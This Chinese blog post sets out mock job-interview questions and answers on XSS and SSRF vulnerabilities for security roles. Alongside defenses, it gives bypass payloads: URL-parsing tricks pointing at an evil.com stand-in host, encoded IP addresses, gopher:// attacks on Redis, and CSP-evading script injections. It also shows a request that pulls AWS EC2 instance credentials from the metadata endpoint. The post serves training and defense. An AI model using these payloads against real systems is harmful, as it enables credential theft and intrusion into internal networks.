安恒web安全春招实战

以下是一份涵盖XSS/SSRF漏洞场景复现与绕过技术的模拟面试题目及参考答案,分三个维度:基础原理与防御机制、实战场景复现和高级绕过思路。

《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN

5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect

一、基础原理与防御机制

题目1:请阐述DOM型XSS与反射型XSS的核心区别,并说明如何通过HTTP响应头防御这两种漏洞

参考答案

  • 核心区别:
    • DOM型XSS:漏洞触发完全在客户端完成,攻击载荷不经过服务端处理(不会出现在HTTP响应body中)

    • 反射型XSS:攻击载荷经服务端处理后返回到响应页面中

  • 防御方案:
    • 设置Content-Security-Policy头(如script-src 'self'

    • 添加X-XSS-Protection: 1; mode=block(兼容旧浏览器)

    • 使用HttpOnly标记保护Cookie

    • 对动态插入DOM的内容实施textContent替代innerHTML

题目2:SSRF漏洞的本质危害是什么?列举三种服务端可能存在的危险函数/场景

参考答案

  • 本质危害:利用服务端作为代理突破网络边界,访问/攻击内部系统或云元数据

  • 危险场景:
    • 文件读取类函数(如PHP的file_get_contents()

    • HTTP请求库(如Python的requests.get()未校验URL)

    • XML解析(XXE引发的SSRF)

    • 云服务元数据接口(如169.254.169.254)

二、实战场景复现

题目3:给定以下代码片段,请构造绕过方案:
<?php
$url = $_GET['url'];
if(preg_match('/^https?:\/\/(www\.)?example\.com\//i', $url)) {
    $content = file_get_contents($url);
    echo $content;
}
?>

参考答案

  • 绕过思路:
    1. 利用URL解析差异http://example.com@evil.com/payload

    2. Unicode编码绕过http://examplе.com(使用西里尔字母"е")

    3. DNS重绑定攻击:配置TTL=0的域名指向目标合法域名和攻击IP

    4. HTTPS协议混淆https://example.com.evil.com

题目4:某站点的CSP策略如下,如何实现XSS利用?

Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'nonce-abc123' 参考答案

  • 攻击方案:
    1. Nonce爆破:如果nonce值可预测(如时间戳生成),构造匹配的script标签

    2. 注入含nonce属性的合法标签<script nonce="abc123">alert(1)</script>

    3. 利用unsafe-inline特性:直接构造内联事件处理器<img src=x onerror=alert(1)>

三、高级绕过思路

题目5:如何绕过基于黑名单的SSRF防御(过滤127., 10., 192.168.*等)?

参考答案

  • 高级绕过技巧:
    1. 八进制/十六进制IP编码http://0177.0.0.1 → 127.0.0.1

    2. IPv6地址利用http://[::1]:80

    3. 域名重定向服务:使用短链服务或可控DNS解析

    4. 云服务特殊地址http://metadata.google.internal

    5. 非HTTP协议攻击gopher://攻击Redis/MySQL

题目6:在严格CSP策略下(禁止unsafe-inline且使用nonce),如何实现XSS持久化?

参考答案

  • 高阶攻击路径:
    1. AngularJS沙箱逃逸:在存在Angular框架的站点利用{{constructor.constructor()}}

    2. Service Worker劫持:通过注入脚本注册恶意Service Worker

    3. DOM Clobbering:通过命名HTML元素污染全局变量

    4. 第三方库漏洞:利用jQuery插件或Chart.js等组件的已知漏洞

四、综合场景

题目7:某API端点存在SSRF且返回响应内容,如何利用该漏洞获取AWS EC2元数据?

参考答案

POST /api/fetch HTTP/1.1
Host: victim.com
Content-Type: application/json

{
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
  • 绕过技巧:
    1. 请求重定向:构造恶意服务器返回302跳转到元数据地址

    2. DNS重绑定:使用rbndns.com等工具快速切换DNS解析

    3. 协议包装file:///etc/passwd读取本地文件确认漏洞

五、防御进阶

题目8:设计多层SSRF防御体系时应考虑哪些关键点?

参考答案

  1. 网络层:
    • 出口防火墙限制内部系统访问

    • 云环境使用安全组策略

  2. 应用层:
    • 使用白名单域名校验

    • 禁用危险协议(file://, gopher://, ftp://)

  3. 系统层:
    • 限制请求库的跟随重定向功能

    • 使用chroot环境运行服务


此套题目覆盖漏洞原理、代码审计、绕过技巧和防御体系设计,适用于中高级安全岗位面试。

建议在理解答案的基础上,配合搭建真实漏洞环境(如DVWA、SSRF Labs)进行实操验证。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值